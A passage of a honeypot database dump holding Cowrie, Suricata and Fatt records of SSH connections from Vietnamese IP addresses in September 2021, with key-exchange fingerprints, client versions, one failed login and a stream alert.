fda360b1b4f4d3455cb75c6e7edb1d11", "session": "7fe8617cbda9", "@version": "1", "timestamp": "2021-09-20T11:08:33.602975Z", "@timestamp": "2021-09-20T11:08:33.602Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24195	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:33.684387+03	2021-09-20 14:15:08.469502+03	{"_id": "CQbkAnwBvYTbRNuEsRJB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "a2b08340ec2e", "@version": "1", "duration": 3.3309543132781982, "timestamp": "2021-09-20T11:08:33.684387Z", "@timestamp": "2021-09-20T11:08:33.684Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24196	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:33.726176+03	2021-09-20 14:15:08.470503+03	{"_id": "CgbkAnwBvYTbRNuEsRJB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "c12798484fe7", "@version": "1", "timestamp": "2021-09-20T11:08:33.726176Z", "@timestamp": "2021-09-20T11:08:33.726Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24197	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:34.026765+03	2021-09-20 14:15:08.4725+03	{"_id": "CwbkAnwBvYTbRNuEsRJB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "572775a3daac", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:34.026765Z", "@timestamp": "2021-09-20T11:08:34.026Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24198	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:34.276352+03	2021-09-20 14:15:08.4735+03	{"_id": "DAbkAnwBvYTbRNuEsRJB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [abe/abe] failed", "session": "629a08799b4b", "@version": "1", "password": "abe", "username": "abe", "timestamp": "2021-09-20T11:08:34.276352Z", "@timestamp": "2021-09-20T11:08:34.276Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
24199	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:08:34.301535+03	2021-09-20 14:15:08.474509+03	{"_id": "DgbkAnwBvYTbRNuEsxKY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 564401311670513, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 58566, "dest_port": 22, "timestamp": "2021-09-20T11:08:34.301535Z", "@timestamp": "2021-09-20T11:08:34.301Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24200	192.168.176.2	109.199.241.180	Suricata	2021-09-20 14:08:34.436166+03	2021-09-20 14:15:08.4755+03	{"_id": "DwbkAnwBvYTbRNuEsxKY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:08:34.436166+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 66}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.176.2", "stream": 0, "dest_ip": "116.105.211.46", "flow_id": 854300866815942, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 22, "dest_port": 43854, "timestamp": "2021-09-20T11:08:34.436166Z", "@timestamp": "2021-09-20T11:08:34.436Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
24201	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:08:34.648965+03	2021-09-20 14:15:08.4775+03	{"_id": "DQbkAnwBvYTbRNuEsxKY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 303497080881159, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 43096, "dest_port": 22, "timestamp": "2021-09-20T11:08:34.648965Z", "@timestamp": "2021-09-20T11:08:34.648Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24202	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:34.373538+03	2021-09-20 14:15:08.4785+03	{"_id": "EgbkAnwBvYTbRNuEtBKD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 43096, "timestamp": "2021-09-20T11:08:34.373538", "@timestamp": "2021-09-20T11:08:34.373Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24203	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:08:34.357517+03	2021-09-20 14:15:08.4805+03	{"_id": "EQbkAnwBvYTbRNuEtBKD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 58566, "dest_port": 22, "timestamp": "2021-09-20T11:08:34.357517", "@timestamp": "2021-09-20T11:08:34.357Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24204	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:08:35.270529+03	2021-09-20 14:15:08.4815+03	{"_id": "MQbkAnwBvYTbRNuEtxKB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1383369970682447, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 56992, "dest_port": 22, "timestamp": "2021-09-20T11:08:35.270529Z", "@timestamp": "2021-09-20T11:08:35.270Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
24205	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:08:35.218864+03	2021-09-20 14:15:08.4825+03	{"_id": "MgbkAnwBvYTbRNuEuBJt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 48162, "dest_port": 22, "timestamp": "2021-09-20T11:08:35.218864", "@timestamp": "2021-09-20T11:08:35.218Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
